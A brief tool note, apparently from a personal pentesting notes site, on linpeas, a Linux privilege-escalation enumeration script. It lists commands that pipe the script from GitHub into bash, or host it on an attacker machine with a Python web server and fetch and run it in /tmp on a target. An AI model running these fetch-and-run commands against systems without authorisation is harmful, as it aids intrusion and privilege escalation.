linpeas
- Linpeas (or Linux local Privilege Escalation Awesome Script) is a tool that hunts for any privilege escalation.
- It is part of PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation
- Github Link: https://github.com/peass-ng/PEASS-ng ↗
Usage#
If the remote machine has internet access, run:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bashplaintextElse if it is an offline machine, download latest version of linpeas from here ↗ to your local machine
or run
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.shplaintextCreate a local server to host the linpeas.sh file
sudo python3 -m http.server [port]plaintextDownload the script in target machine. Better to put in /tmp folder, give permission and run it.
wget [ip:port]/linpeas.sh
chmod +x linpeas.sh
./linpeas.shplaintextOR
curl -L [ip:port]/linpeas.sh | bashplaintextlinpeas
https://nahil.xyz/vault/tools/linpeas/
AuthorNahil Rasheed
Published atJune 15, 2025
CopyrightCC BY 4.0
DisclaimerThis content is provided strictly for educational purposes only.